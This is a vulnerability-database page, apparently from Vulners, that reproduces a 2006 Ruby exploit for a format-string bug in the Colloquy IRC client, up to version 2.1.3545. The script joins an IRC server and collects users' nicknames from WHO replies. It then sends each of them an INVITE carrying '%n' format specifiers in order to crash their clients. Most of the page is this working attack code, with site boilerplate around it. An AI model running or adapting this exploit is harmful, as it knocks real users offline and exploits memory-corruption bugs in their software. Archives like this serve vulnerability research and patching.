Lucene search
K

Colloquy <= 2.1.3545 (INVITE) Format String Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

Colloquy (INVITE) Format String Denial of Service Exploi

Code

                                                #!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok &#60;[email protected]&#62;
#
# Makes use of the Colloquy INVITE format string vulnerability.
#

require &#39;socket&#39;

target_channel  = (ARGV[0] || &#34;#whatever&#34;)
target_server   = (ARGV[1] || &#34;irc.server.org&#34;)
target_port     = (ARGV[2] || 6667)

rand_nick       = &#34;spongebo&#34;
channel_joined  = false
ready_to_go     = false
abuse_attempts  = 2
chan_fmtstring  = (&#34;#%n%n%n%n&#34;) # develop payload when feeling like it.
target_furries = []

irc_socket = TCPSocket.new(target_server, target_port.to_i)

irc_socket.print &#34;USER #{rand_nick} localhost localhost r\n&#34;
irc_socket.print &#34;NICK #{rand_nick}\r\n&#34;
while true
  s = irc_socket.gets
  case s.strip
    when /^PING :(.+)$/i
      puts &#34;++ PING...&#34;
      irc_socket.send &#34;PONG :#{$1}\n&#34;, 0
      puts &#34;++ PONG.&#34;
    when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]PING (.+)[\001]$/i
      puts &#34;++ CTCP PING from #{$1}!#{$2}@#{$3}&#34;
      irc_socket.send &#34;NOTICE #{$1} :\001PING #{$4}\001\n&#34;, 0
    when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]VERSION[\001]$/i
      puts &#34;++ CTCP VERSION from #{$1}!#{$2}@#{$3}&#34;
      irc_socket.send &#34;NOTICE #{$1} :\001VERSION Unabomber v0.011\001\n&#34;, 0
    when /n=(.+) (.+) (.+) (.+) (.+) (.*)$/i
      nickarr = s.scan(/n=(.+) (.+) (.+) (.+) (.+) (.*)/).flatten

      if nickarr.size &#62; 3
        if nickarr[2].size &#62; 2 and nickarr[2] != target_server
          nickarr = nickarr[2]
        elsif nickarr[1].size &#62; 2 and nickarr[1] != target_server
          nickarr = nickarr[1]
        elsif nickarr[3].size &#62; 2 and nickarr[3] != target_server
          nickarr = nickarr[3]
        end
        
        target_furries &#60;&#60; nickarr
      end
    else
      unless channel_joined
        #irc_socket.send &#34;JOIN #{target_channel}\n&#34;, 0 (uncomment to join channel)
        irc_socket.send &#34;JOIN #{chan_fmtstring}\n&#34;, 0
        channel_joined = true
      end
      
      if channel_joined and abuse_attempts != 0
        irc_socket.send &#34;WHO #{target_channel}\n&#34;, 0
        abuse_attempts -= 1
      end

      # we need to throttle the pwnage or server will kick our ass
      if target_furries.size &#62; 1
        target_furries.each do |zealot|
          puts &#34;++ Pwning #{zealot}&#34;
          irc_socket.send &#34;INVITE #{zealot} #{chan_fmtstring}\n&#34;, 0
          sleep 1
        end
      end
  end
end

# milw0rm.com [2007-01-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
28